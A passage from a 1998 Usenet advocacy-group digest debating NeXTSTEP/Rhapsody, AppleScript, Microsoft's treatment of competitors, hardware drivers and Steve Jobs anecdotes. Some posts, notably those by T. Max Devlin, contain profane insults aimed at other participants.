hardware market. Microsoft benefits from that Intel-based,
IBM-architecture-derived commodity hardware market, you know. They just
keep racking up the GP, "sorry; in the next version, we'll get that
nasty-old misbehavior hardware _working_, so it doesn't cause a
nasty-old crash every fifteen minutes", safe from recriminations of not
being able to have an uptime capable of sustaining even casual use of
long duration...
So you just go build a system with this time-bomb-like first boot. See
if the wrath of Microsoft don't come down on YOUR ass...
--
T. Max Devlin
Hi-TECH Connections/Eltrax Systems
*****************************************************
- Opinions expressed are my own.
Anyone else may use them only in
accordance with licensing agreements. -
From: kdb@pegasus.ece.utexas.edu (Kurt D. Bollacker)
Newsgroups: comp.sys.next.advocacy
Subject: Re: NeXTSTEP - Some useful features = MacOS X?
Date: 27 May 1998 05:59:40 GMT
Organization: The University of Texas at Austin, Austin, Texas
Message-ID: <6kga4c$h5j$2@geraldo.cc.utexas.edu>
References: <6jrak9$936$1@geraldo.cc.utexas.edu> <356a7f0e.0@news.camtech.net.au>
timothyp@tne.net.au (timothyp@tne.net.au) wrote:
: Methinks you dont fully appreciate Applescript. While I do know, use and Love
: Perl it is still a very different beastie than Applescript and cant hope to
: compete with an Applescript on Applescript aware programs.
Uh. So what about Non-AppleScript aware programs? You mean that AppleScript
isn't very useful unless the developers are diligent about creating an
AppleScript API for it? Perl makes no such demands for UNIX based programs.
: The problem has been
: that Apple hasnt pushed developers to support it to date and companies like
: Adobe have built there own standards scripting even though Applescript was there
: to use. Thanks to a lot of good shareware programs (and savvy developers)
: Applescript is really showings its legs now.
I hope so. Good scripting will make OSX a *much* better server OS than NT.
: Again, don't write off a technology you may not fully understand. If Apple
: pushes Applescript hard now and makes sure it is a first-class citizen in
: Rhapsody OSX, the capabilities it will give users will astound; have no doubt.
We'll see. I hope you're right. The first release of OSX is their last
chance for me. I've already been waiting 6 years and Linux beckons.
......................................................................
: Kurt D. Bollacker University of Texas at Austin :
: kdb@pine.ece.utexas.edu P.O. Box 8566, Austin, TX 78713 :
:....................................................................:
From: jayfar@netaxs.com (Jayfar)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Ummm, excuse me, mr jobs?
Date: Tue, 26 May 1998 23:11:49 -0400
Organization: Jayfar's Original Virtual Macintosh
Message-ID: <jayfar-2605982311490001@downtown1-18.slip.netaxs.com>
References: <6kfqnb$4jj$1@newsfep2.sprintmail.com>
Mail-Copies-To: jayfar@netaxs.com
In article <6kfqnb$4jj$1@newsfep2.sprintmail.com>, macghod@concentric.net wrote:
| I meant to post this a few days ago, but forgot.
| A couple of days ago, I was watching a wwdc quicktime, and Jobs was comparing
| the
| new g3 to pc notebooks. He really went off on the pc notebooks. Funny
| thing I thought, has
| Steve even switched to a mac yet? I would see no reason why he wouldnt be
| using a g3 292 with 14 inch screen and rhapsody dr2. Whether he has switche
| yet or not, he used pc's for so long it was kind of amusing how he went off
| on the pentium notebooks. Has anyone emailed him and asked him what he
| uses?
In an interview with Dave Mark in the May issue of MacTech (not online),
Steve Wozniak comments that Jobs doesn't even use a Mac and won't because
he considers it "crappy."
Cheers,
Jayfar
--
Jay Farrell Jayfar's Original Virtual Macintosh
jayfar@netaxs.com * Your Favorite Mac Site * Now Updated Daily *
Philadelphia, USA <URL:http://www.netaxs.com/~jayfar/live.desk.html>
Jayfar's APPLE DOOMSDAY CLOCK <URL:http://www.netaxs.com/~jayfar/>
From: mdevlin@eltrax.com (T. Max Devlin)
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.ms-windows.nt.advocacy
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Date: Wed, 27 May 1998 05:03:54 GMT
Organization: Eltrax Systems/Hi-TECH Connections
Message-ID: <35769d98.6919965@news.supernews.com>
References: <6il92r$3cl@bgtnsc01.worldnet.att.net> <6jk64c$vo9$1@strato.ultra.net> <rmcassid-1805981 <rmcassid-1905980044070001@dante.eng.uci.edu> <6js61j$g18$1@inconnu.isu.edu> <6jtgid$vp6$5@ligarius.ultra.net> <Josh.McKee-2005981950070001@pm3a17.rmac.net> <6k1862$vn6$3@strato.ultra.net> <Josh.McKee-2105981832300001@pm3a23.rmac.net> <6k2sok$l4r$3@strato.ultra.net> <Josh.McKee-2205981814520001@pm3a24.rmac.net> <6k6rm4$nkn$3@ligarius.ultra.net>
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"John Saunders" <jws@jws.ultranet.com>, on Sat, 23 May 1998 11:11:58
[...]
>I don't get it. Why would it be "much more difficult"? What would the
>problem be? Are you suggesting that Microsoft has left something
>undocumented, such that only "the developer of the OS" could successfully
>implement this feature?
Holy Shit, John.
Are you telling me you're a complete troll? A fake? A player of Usenet
games?
I've seen this kind of excess of you before. And I notice that, while I
recognize your name as annoying, I don't recall specifically flaming
you.
You went too far this time. I've caught you. "Are you suggesting",
John? Are you kidding? You must have _wanted_ to be caught....
Thanks for the laughs, anyway. Can you post some "best of John
Saunders"? :-)
--
T. Max Devlin
Hi-TECH Connections/Eltrax Systems
*****************************************************
- Opinions expressed are my own.
Anyone else may use them only in
accordance with licensing agreements. -
From: mdevlin@eltrax.com (T. Max Devlin)
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.ms-windows.nt.advocacy
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Date: Wed, 27 May 1998 05:10:09 GMT
Organization: Eltrax Systems/Hi-TECH Connections
Message-ID: <35779ed6.7238238@news.supernews.com>
References: <6jk64c$vo9$1@strato.ultra.net> <rmcassid-1805981 <rmcassid-1905980044070001@dante.eng.uci.edu> <6js61j$g18$1@inconnu.isu.edu> <6jtgid$vp6$5@ligarius.ultra.net> <Josh.McKee-2005981950070001@pm3a17.rmac.net> <6k1862$vn6$3@strato.ultra.net> <Josh.McKee-2105981832300001@pm3a23.rmac.net> <6k2sok$l4r$3@strato.ultra.net> <Josh.McKee-2205981814520001@pm3a24.rmac.net> <6k6rm4$nkn$3@ligarius.ultra.net> <see-below-2305981537470001@209.24.241.7> <6k7k07$cs1$1@news.ox.ac.uk>
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"David McCabe" <david.mccabe@balliol.oxford.ac.uk>, on Sat, 23 May 1998
[...]
>>> I don't get it. Why would it be "much more difficult"? What would the
>>> problem be? Are you suggesting that Microsoft has left something
>>> undocumented, such that only "the developer of the OS" could successfully
>>> implement this feature?
>>
>>Yes.
>
>Please substantiate your argument. Give examples, technical references,
>whatever. Please explain to me why, despite the integration level, Netscape
>can't simply implement the same documented interfaces and replace the
>pointers in the Registry.
Now Dave, here, he's a complete and utter fuck-head. The brains of an
idiot. "John Saunders" at least had the humility to appear like a
troll. You're just an "instigator", David. You have no point, you'll
just get your jollies feeling like you've accomplished something by
jumping in the middle of a discussion and asking for back-references.
Or maybe you're just a Department of Justice lawyer looking for ideas.
If you needed help, Dave, you could have just asked. I'll be happy to
provide some consulting and investigation to "substantiate your
argument. Give examples, technical references, whatever. Please explain
to me why, despite the integration level, Netscape can't simply
implement the same documented interfaces and replace the pointers in the
Registry". For a fee.
If you'd rather not, you should be able to substantiate the lack of
equal access to the OS for outside apps providers, and Microsoft's
determination to ensure their domination of the Windows apps markets..
Otherwise, you're just a troll. Fuck off.
--
T. Max Devlin
Hi-TECH Connections/Eltrax Systems
*****************************************************
- Opinions expressed are my own.
Anyone else may use them only in
accordance with licensing agreements. -
From: mr_boxster@nospam_yahoo.com (MR_boxster)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Ummm, excuse me, mr jobs?
Date: Wed, 27 May 98 05:22:58 GMT
Message-ID: <6kg83m$k24$2@nntp2.ba.best.com>
References: <6kfqnb$4jj$1@newsfep2.sprintmail.com> <jayfar-2605982311490001@downtown1-18.slip.netaxs.com>
In article <jayfar-2605982311490001@downtown1-18.slip.netaxs.com>, jayfar@netaxs.com (Jayfar) wrote:
>In an interview with Dave Mark in the May issue of MacTech (not online),
>Steve Wozniak comments that Jobs doesn't even use a Mac and won't because
>he considers it "crappy."
>
Thats why he uses a Thinkpad w/ Openstep.. And his daughter uses Windows 95
From: mdevlin@eltrax.com (T. Max Devlin)
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.ms-windows.nt.advocacy
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Date: Wed, 27 May 1998 05:18:50 GMT
Organization: Eltrax Systems/Hi-TECH Connections
Message-ID: <3578a103.7795788@news.supernews.com>
References: <6j2m0f$m0c$3@ligarius.ultra.net> <rmcassid-1105981158230001@dante.eng.uci.edu> <6j9ac3$tnp$1@ligarius.ultra.net> <rmcassid-1205982352010001@dialin33423.slip.uci.edu> <6jk64c$vo9$1@strato.ultra.net> <rmcassid-1805981307530001@dante.eng.uci.edu> <6jqt6a$md2$2@strato.ultra.net> <chrisj-1905981341480001@usr2a12.bratt.sover.net> <6jtgif$vp6$8@ligarius.ultra.net> <35cfaa27.360314511@news.supernews.com> <6k6rm6$nkn$5@ligarius.ultra.net>
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Hi, John. ;-)
So I guess you're not really a troll, just a random Microsoft apologist.
OK. Let's rock. ;-)
"John Saunders" <jws@jws.ultranet.com>, on Sat, 23 May 1998 11:41:50
>>If you consider that your "embedding a
>>browser in my app" capability is only possible because everything about
>>the system comes from Microsoft (or implements a standard to which
>>Microsoft has contributed nothing), I don't know if that would make you
>>more of a Microsoft fan, realizing that a fully proprietary system is
>>always the most efficient computer, or less of a Microsoft fan,
>>realizing that these amazing feats are not possible on a more flexible,
>>multi-vendor system, due mainly to Microsoft's failure to allow other's
>>equal access to their interfaces.
>
>
>I can't parse this sentence. The only thing I understand well enough to
>respond to is at the start.
You missed it completely. Let me try again.
>
>No, I don't think it's required that Microsoft supply everything. But it
>does make it much easier for the developer to have a single set of APIs to
>code to. It also makes it much easier when there are a lot of potential
>customers for the code you write to those APIs.
No, I just told you (accurately) that the only reason your earlier
description of success in launching a browser from the app you developed
was because Microsoft provided both the OS and the browser. Now, had
your OS _or_ your browser been available from separate vendors, you
couldn't have "integrated" web browsing so easily, as Microsoft doesn't
actually _support_ competition on its operating system for its
applications, or for its applications on its operating system.
Did you parse that?
--
T. Max Devlin
Hi-TECH Connections/Eltrax Systems
*****************************************************
- Opinions expressed are my own.
Anyone else may use them only in
accordance with licensing agreements. -
From: morbius@eatspam&die.net (Morbius)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Ummm, excuse me, mr jobs?
Date: Tue, 26 May 1998 22:10:01 -0800
Organization: Brotherhood of Nod
Message-ID: <morbius-2605982210170001@1cust85.tnt1.santa-monica2.ca.da.uu.net>
References: <6kfqnb$4jj$1@newsfep2.sprintmail.com> <jayfar-2605982311490001@downtown1-18.slip.netaxs.com>
In article <jayfar-2605982311490001@downtown1-18.slip.netaxs.com>,
jayfar@netaxs.com wrote:
> In article <6kfqnb$4jj$1@newsfep2.sprintmail.com>,
macghod@concentric.net wrote:
>
> | I meant to post this a few days ago, but forgot.
> | A couple of days ago, I was watching a wwdc quicktime, and Jobs was
comparing
> | the
> | new g3 to pc notebooks. He really went off on the pc notebooks. Funny
> | thing I thought, has
> | Steve even switched to a mac yet? I would see no reason why he wouldnt be
> | using a g3 292 with 14 inch screen and rhapsody dr2. Whether he has
switche
> | yet or not, he used pc's for so long it was kind of amusing how he went off
> | on the pentium notebooks. Has anyone emailed him and asked him what he
> | uses?
>
> In an interview with Dave Mark in the May issue of MacTech (not online),
> Steve Wozniak comments that Jobs doesn't even use a Mac and won't because
> he considers it "crappy."
Wasn't there some kind of problem between the two, years ago?
Morbius
From: mdevlin@eltrax.com (T. Max Devlin)
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.ms-windows.nt.advocacy
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Date: Wed, 27 May 1998 05:33:20 GMT
Organization: Eltrax Systems/Hi-TECH Connections
Message-ID: <357ba518.8840821@news.supernews.com>
References: <6ir7p5$nt$4@ligarius.ultra.net> <rmcassid-0705980012000001@dialin33419.slip.uci.edu> <6j2m0f$m0c$3@ligarius.ultra.net> <rmcassid-1105981158230001@dante.eng.uci.edu> <6j9ac3$tnp$1@ligarius.ultra.net> <rmcassid-1205982352010001@dialin33423.slip.uci.edu> <6jk64c$vo9$1@strato.ultra.net> <rmcassid-1805981307530001@dante.eng.uci.edu> <tvyg1i6unnj.fsf@cn1.connectnet.com> <6jtgie$vp6$6@ligarius.ultra.net> <35d0ab0c.360543981@news.supernews.com> <6k6tda$omk$1@ligarius.ultra.net>
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"John Saunders" <jws@jws.ultranet.com>, on Sat, 23 May 1998 12:25:46
[to T. Max Devlin]
[...]
>I think you must be losing the context of the thread.
>
>I said that if Netscape wanted to be a "web browser library", then all
>they'd have to do is implement the interfaces Microsoft documented.
>
>Then Darrin Johnson wrote that it was ingenuous in that the IWebBrowser
>interface was already in IE 3.0 and was closely related to it, but that
>Netscape was implemented differently and so would find it difficult to
>implement an interface intended for IE.
>
>[* digression deferred here]
>
>Then Darrin said that this was another example of MS applications getting a
>boost from the OS group.
>
>I then responded that I didn't know which applications he was referring to.
>Since we had been discussion IWebBrowser*, I asked if he meant the
>applications which used those interfaces to render HTML. I indicated I
>didn't think those were the ones he meant, since they presumably use the
>same interfaces as everyone else.
>
>So, while I would be glad some day to discuss any proof you may have about
>MS applications developers getting special help from the OS group, that's
>not what we were discussing in this thread. Perhaps you'd like to start
>another topic?
Perhaps you'd like to document your contention that everything you have
just said is not a confusing pile of crap meant to hide the fact that
want to steer the discussion away from reality?
--
T. Max Devlin
Hi-TECH Connections/Eltrax Systems
*****************************************************
- Opinions expressed are my own.
Anyone else may use them only in
accordance with licensing agreements. -
From: NOSPAMmbkennelNOSPAM@yahoo.com (Matt Kennel)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: No Mac OS X for Intel...?
Date: 27 May 1998 02:15:41 GMT
Organization: University of California at San Diego
Message-ID: <slrn6mmtqc.sg5.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu>
References: <6jtt5c$q8k$1@news.cmc.net> <rmcassid-2005980144360001@dialin9111.slip.uci.edu> <see-below-2005980308550001@209.24.240.28>
On Wed, 20 May 1998 03:08:54 -0700, Matthew Vaughan wrote:
:And if some legal action were to effectively weaken Microsoft's ability to
:kill OS competitors, guess who would be ready to step in with the perfect
:"alternative" OS to bundle on millions of PCs. One could go farther, and
:speculate that last summer's Apple-Microsoft agreement might have involved
:certain unsavory dealings that wouldn't help Microroft's case were they to
:be revelealed in a courtroom at a particularly opportune moment.
This is a fascinating possibility, but very dangerous for Apple too.
If it willingly participated in a scheme to limit competition it could be
found culpable as well. (c.f. Netscape & Microsoft)
Apple's hope being an offer of immunity in return for testimony.
--
* Matthew B. Kennel/Institute for Nonlinear Science, UCSD -
* "People who send spam to Emperor Cartagia... vanish! _They say_ that
* there's a room where he has their heads, lined up in a row on a desk...
* _They say_ that late at night, he goes there, and talks to them... _they
*- say_ he asks them, 'Now tell me again, how _do_ you make money fast?'"
From: sanguish@digifix.com (Scott Anguish)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: screwed? was:No Mac OS X for Intel...?
Date: 27 May 1998 03:16:07 GMT
Organization: Digital Fix Development
Message-ID: <6kg0hn$689$1@news.digifix.com>
References: <6jtt5c$q8k$1@news.cmc.net> <3562EA10.3ABFE6B5@pacific.net.sg> <6kesfn$c5r$6@ns3.vrx.net> <6kfi4n$452$1@nntp2.ba.best.com>
In-Reply-To: <6kfi4n$452$1@nntp2.ba.best.com>
<snip>
>Care to elaborate? Does Rhapsody for Intel have video capture
drivers? How
>about video drivers for the Matrox Millenium II, AWE 64 Gold
soundcard?
>
Well, since Rhapsody uses the same drivers as OpenStep, and
since there is already a Matrox Millenium II driver for it, yes, yes,
it will.
Since the AWE 64 is a sound-blaster... Yes, yes it does.
>The point is... The OS will not be attractive to users if they can't
use their
>hardware.
>
Perhaps you should look at the available drivers before you
rule things out..
--
Scott Anguish <sanguish@digifix.com>
NEXTSTEP/OpenStep Information <URL:http://www.stepwise.com>
Newsgroups: comp.sys.next.advocacy
From: cdouty@netcom.com (Chris Douty)
Subject: Re: RAID 5 for Rhapsody?
Message-ID: <cdoutyEtLLwG.Avu@netcom.com>
Organization: Netcom
References: <35634292.15907830@pacific.net.sg> <6kf1ac$7tk$1@news.apple.com>
Date: Wed, 27 May 1998 04:31:28 GMT
Sender: cdouty@netcom7.netcom.com
In article <6kf1ac$7tk$1@news.apple.com>,
Mark Dadgar <mdadgar@apple.com> wrote:
>In article <35634292.15907830@pacific.net.sg> Koo <amind@pacific.net.sg>
>writes:
>> I'd like to know is there a RAID 5 system or anyone is working on a
>> RAID 5 system for Rhapsody PPC?
>
>You should be able to use just about any external SCSI-based RAID array
>pretty painlessly.
[Baydel recommendation snipped]
I'll second the vote for an external RAID controller. You really don't
want a software RAID5 system. It's painful. OTOH, I'd love to see
Veritas Volume Manager and Filesystem ported to Rhapsody. SGI's XFS
would be even better from a filesystem point of view.
-Chris "who spends his days testing software RAID" Douty
--
Christopher Douty - Rogue Engineer trapped in a land of software
cdouty@netcom.com
"Frequently the messages have meaning; that is they refer to or are correlated
according to some system with physical or conceptual entities. These semantic
aspects of communication are irrelevant to the engineering problem." -Shannon
From: "Michael J. Peck" <mjpeck@nstar.net>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: screwed? was:No Mac OS X for Intel...?
Date: Wed, 27 May 1998 04:54:07 +0000
Organization: ISPNews http://ispnews.com
Message-ID: <356B9C6F.434C2D58@nstar.net>
References: <6jtt5c$q8k$1@news.cmc.net> <3562EA10.3ABFE6B5@pacific.net.sg> <6kesfn$c5r$6@ns3.vrx.net> <6kfi4n$452$1@nntp2.ba.best.com> <6kg0hn$689$1@news.digifix.com>
Mime-Version: 1.0
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NNTP-Posting-Date: 27 May 1998 04:58:58 GMT
Scott Anguish wrote:
>
> <snip>
> >Care to elaborate? Does Rhapsody for Intel have video capture
> drivers? How
> >about video drivers for the Matrox Millenium II, AWE 64 Gold
> soundcard?
> >
>
> Well, since Rhapsody uses the same drivers as OpenStep, and
> since there is already a Matrox Millenium II driver for it, yes, yes,
> it will.
Cool! Is it a fully-accelerated driver, or does it just use the
framebuffer? And does it support the high-resolution video modes and
refresh rates of that card?
> Since the AWE 64 is a sound-blaster... Yes, yes it does.
Right, but will it support the broad capabilities of that card? The AWE
64 has a rather extensive number of features; are they supported under
OpenStep?
The best (and sometimes, only) way to get the most out of hardware
drivers is to get them from the manufacturers. I hope Apple is working
to get this support.
MJP
From: drifterusa@sprintmail.com (John Bauer)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Rhapsody on Intel
Date: Wed, 27 May 1998 00:05:06 -0500
Organization: KAOS
Message-ID: <199805270005062096770@sdn-ts-016txhousp07.dialsprint.net>
References: <6jsait$q4o@newsb.netnews.att.com> <3561D1F9.5E62@CONVEX.COM> <6jslbi$i4k1@odie.mcleod.net> <joe.ragosta-2005981154020001@wil132.dol.net> <356a25de.0@news.camtech.net.au>
Tim Priest wrote:
> Unfortunately, I think we are seeing the flip-side of the "150 million"
> investment in Apple. Either that or Apple has again become completely
> clueless.
An odd assessment ("clueless") considering your conclusion below.
<snip>
> So, if anyone can think of a good way of stopping migration away from the
> PowerPC to Intel in the short term (and just saying that the performance
> of the PowerPC will show them will not do) I will gladly yell as loud as
> I can to Apple to stop this nonsense of not supplying RhapTel. But at the
> moment do this would ultimately kill Apple.
>
> I have no idea how to get around this problem and that is sad because it
> will deny a lot of people the chance to use the Next generation OS and
> free them from the Windows monopoly. It will also slow the adoption of
> Rhapsody and Apple's resurrence. Ironic is it not?
Apple is in the classic "damned if you do, damned if you don't" bind. I
am not really too optimistic that anything will change on account of the
Microsoft antitrust action or that Apple will be able to avoid the fate
of every other Microsoft competitor. I pretty much just keep using my
Mac and hoping I'm wrong.
--
John Bauer
<remove NOT from email address above, just like the spammers do>
From: mr_boxster@nospam_yahoo.com (MR_boxster)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: screwed? was:No Mac OS X for Intel...?
Date: Wed, 27 May 98 05:21:37 GMT
Message-ID: <6kg815$k24$1@nntp2.ba.best.com>
References: <6jtt5c$q8k$1@news.cmc.net> <3562EA10.3ABFE6B5@pacific.net.sg> <6kesfn$c5r$6@ns3.vrx.net> <6kfi4n$452$1@nntp2.ba.best.com> <6kg0hn$689$1@news.digifix.com> <356B9C6F.434C2D58@nstar.net>
In article <356B9C6F.434C2D58@nstar.net>, "Michael J. Peck" <mjpeck@nstar.net> wrote:
>Scott Anguish wrote:
>>
>> <snip>
>> >Care to elaborate? Does Rhapsody for Intel have video capture
>> drivers? How
>> >about video drivers for the Matrox Millenium II, AWE 64 Gold
>> soundcard?
>> >
>>
>> Well, since Rhapsody uses the same drivers as OpenStep, and
>> since there is already a Matrox Millenium II driver for it, yes, yes,
>> it will.
>
How long did it take. Are you going to tell me that OpenStep has drivers for
The RainbowRunner (video capture add-on for the Millenium II) as well?
>Cool! Is it a fully-accelerated driver, or does it just use the
>framebuffer? And does it support the high-resolution video modes and
>refresh rates of that card?
>
>> Since the AWE 64 is a sound-blaster... Yes, yes it does.
>
>Right, but will it support the broad capabilities of that card? The AWE
>64 has a rather extensive number of features; are they supported under
>OpenStep?
>
This is very true. It took at least 3 months to get wavetable under NT.
>The best (and sometimes, only) way to get the most out of hardware
>drivers is to get them from the manufacturers. I hope Apple is working
>to get this support.
True.
From: kdb@pegasus.ece.utexas.edu (Kurt D. Bollacker)
Newsgroups: comp.sys.next.advocacy
Subject: Re: NeXTSTEP - Some useful features = MacOS X?
Date: 27 May 1998 05:53:48 GMT
Organization: The University of Texas at Austin, Austin, Texas
Message-ID: <6kg9pc$h5j$1@geraldo.cc.utexas.edu>
References: <6jrak9$936$1@geraldo.cc.utexas.edu> <aa829-2005982020580001@port27.dialb2.gain-ny.com> <6k3258$md9$1@geraldo.cc.utexas.edu> <aa829-2205981611290001@port17.dialb2.gain-ny.com> <6kb2si$ele$1@geraldo.cc.utexas.edu> <see-below-2505980150360001@209.24.240.99> <1d9ldn2.wey5o41nx46nwN@carina25.wco.com>
Mike Paquette (mpaque@wco.com) wrote:
: The Digital Signal Processor was not used for display graphics, 2D or 3D
: rendering, or to accelerate Display PostScript. The overhead of moving
: data to and from the 56001 DSP memory would swamp any possible
: performance gain for almost all graphics work.
TeeHee. Just check out old versions of the Mandlebrot.app (that use the
DSP) vs. the newest version (that use the CPU). The DSP is *much* faster
than the CPU. Given faster DSPs and CPUs in future machines (had NeXT
continued to make hardware) and the difference would have remained
significant. Given a proper bus (like the old NeXT hardware has), the DSP
would have been a significant performance boost. Everyone keeps thinking
about fine grained parallelism where the CPU and DSP must communication
large amounts of data often. With a separate DSP (w/ its own RAM), you've
essentially got a 2nd CPU that is optimized for media based tasks. High
end graphics systems use multiple custom DSPs to enhance performance. There's
no need to always pump streams of data between the DSP and CPU. The DSP
could talk to the graphics subsystem directly. Think of it more as a
heterogeneous SMP instead of an add-on instruction set.
......................................................................
: Kurt D. Bollacker University of Texas at Austin :
: kdb@pine.ece.utexas.edu P.O. Box 8566, Austin, TX 78713 :
:....................................................................:
From: Henry McGilton <henry@trilithon.com>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: No Mac OS X for Intel...?
Date: Tue, 26 May 1998 23:13:43 -0700
Organization: Trilithon Research and Trading
Message-ID: <356BAF17.B6D7A704@trilithon.com>
References: <6jtt5c$q8k$1@news.cmc.net> <rmcassid-2005980144360001@dialin9111.slip.uci.edu> <see-below-2005980308550001@209.24.240.28> <slrn6mmtqc.sg5.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu>
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Matt Kennel wrote:
* On Wed, 20 May 1998 03:08:54 -0700, Matthew Vaughan wrote:
* * And if some legal action were to effectively weaken
* * Microsoft's ability to kill OS competitors, guess who
* * would be ready to step in with the perfect "alternative"
* * OS to bundle on millions of PCs. One could go farther, and
* * speculate that last summer's Apple-Microsoft agreement
* * might have involved certain unsavory dealings that
* * wouldn't help Microroft's case were they to be revelealed
* * in a courtroom at a particularly opportune moment.
* This is a fascinating possibility, but very dangerous for
* Apple too. If it willingly participated in a scheme to
* limit competition it could be found culpable as well.
* (c.f. Netscape & Microsoft)
* Apple's hope being an offer of immunity in return for testimony.
Never ascribe to conspiracy that which can be explained by plain
old incompetence . . . .
........ Henry
=============================================================
Henry McGilton | Trilithon Software, and,
Boulevardier, Java Composer | Pacific Research and Trading
-----------------------------+-------------------------------
mailto:henry@trilithon.com | http://www.trilithon.com
=============================================================
From: id_est@interport.net (tse_di)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: No Mac OS X for Intel...?
Date: Wed, 27 May 1998 02:05:05 -0400
Organization: none
Message-ID: <id_est-2705980205050001@192.168.1.3>
References: <joe.ragosta-2405980800010001@elk60.dol.net> <B18E52BF-1263AB@206.165.43.142> <joe.ragosta-2505981110440001@elk49.dol.net> <6kdpqs$v1v$1@news.orbitworld.net>
In article <6kdpqs$v1v$1@news.orbitworld.net>,
ghenders@gary-hendershot.com (Gary Hendershot) wrote:
> I can't see a company that makes
> advertisements showing steamrollers crushing Pentium II processor
> cartridges bothering with further enhancements to OpenStep or
> expanded funding for cross platform O/S development. They will
> simply concentrate on MacOS-X on G3/G4, with a secondary
> development effort on MacOS-9.
Just in the name of accuracy...the steamroller is crushing Pentium based
laptops. The Pentium II processor cartridges were strapped to the back of
a snail.
From: jayfar@netaxs.com (Jayfar)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Ummm, excuse me, mr jobs?
Date: Wed, 27 May 1998 02:13:03 -0400
Organization: Jayfar's Original Virtual Macintosh
Message-ID: <jayfar-2705980213030001@downtown1-4.slip.netaxs.com>
References: <6kfqnb$4jj$1@newsfep2.sprintmail.com> <jayfar-2605982311490001@downtown1-18.slip.netaxs.com> <morbius-2605982210170001@1cust85.tnt1.santa-monica2.ca.da.uu.net>
Mail-Copies-To: jayfar@netaxs.com
In article
<morbius-2605982210170001@1cust85.tnt1.santa-monica2.ca.da.uu.net>,
morbius@eatspam&die.net (Morbius) wrote:
| In article <jayfar-2605982311490001@downtown1-18.slip.netaxs.com>,
| jayfar@netaxs.com wrote:
|
| > In article <6kfqnb$4jj$1@newsfep2.sprintmail.com>,
| macghod@concentric.net wrote:
| >
| > | I meant to post this a few days ago, but forgot.
| > | A couple of days ago, I was watching a wwdc quicktime, and Jobs was
| comparing
| > | the
| > | new g3 to pc notebooks. He really went off on the pc notebooks.
Funny
| > | thing I thought, has
| > | Steve even switched to a mac yet? I would see no reason why he
wouldnt be
| > | using a g3 292 with 14 inch screen and rhapsody dr2. Whether he has
| switche
| > | yet or not, he used pc's for so long it was kind of amusing how he
went off
| > | on the pentium notebooks. Has anyone emailed him and asked him what he
| > | uses?
| >
| > In an interview with Dave Mark in the May issue of MacTech (not online),
| > Steve Wozniak comments that Jobs doesn't even use a Mac and won't because
| > he considers it "crappy."
|
| Wasn't there some kind of problem between the two, years ago?
You're probably referring to the long ago incident where Jobs cheated Woz
out of a couple thousand dollars on a Breakout game Woz designed for Atari
(via Jobs). Woz was deeply hurt, to the point of tears, when he found out
about it later. There's an account of this in Owen Linzmayer's "The Mac
Bathroom Reader."
In considering the moral character of the two Steves, I like to compare
them to two recent U.S. presidents: Jobs is Richard Nixon; Woz is Jimmy
Carter.
Cheers,
Jayfar
--
Jay Farrell Jayfar's Original Virtual Macintosh
jayfar@netaxs.com * Your Favorite Mac Site * Now Updated Daily *
Philadelphia, USA <URL:http://www.netaxs.com/~jayfar/live.desk.html>
Jayfar's APPLE DOOMSDAY CLOCK <URL:http://www.netaxs.com/~jayfar/>
From: ldo@geek-central.gen.new_zealand (Lawrence D¹Oliveiro)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: GX versus PS (was Re: Howabout Something Better than what we have now?)
Date: Wed, 27 May 1998 22:07:19 +1200
Organization: Geek Central
Message-ID: <ldo-2705982207190001@a37.hn2.wave.co.nz>
References: <6ke4v6$d5n$9@ironhorse.plsys.co.uk> <B1901713-22772@206.165.43.147> <6kejq7$6na$1@bartlet.df.lth.se>
In article <6kejq7$6na$1@bartlet.df.lth.se>, cb@bartlet.df.lth.se
(Christian Brunschen) wrote:
>Actually, a 3x2 matrix is, in a very real sense, superior to a 3x3 matrix.
>
>A 3x2 matrix can only represent an affine transformation.
>Affine transformations are invertible
>Thus, every transformation you can represent in a 3x2 matrix, is
>invertible; you can _always_ generate an inverse matrix to whatever matrix
>you have. Thus you can undo _any_ transformation.
Nonsense. There are an infinity of non-invertible affine transformations.
>Thus, while you give up non-affine transformations - which are in fact
>somewhat of a rarity in real life work - you gain the fact that you can
>always invert your matrix and get a new useful matrix back.
Sometimes I wonder whether people haven't become so accustomed to
PostScript that they become incapable of seeing the problems with it...
From: mdevlin@eltrax.com (T. Max Devlin)
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.ms-windows.nt.advocacy
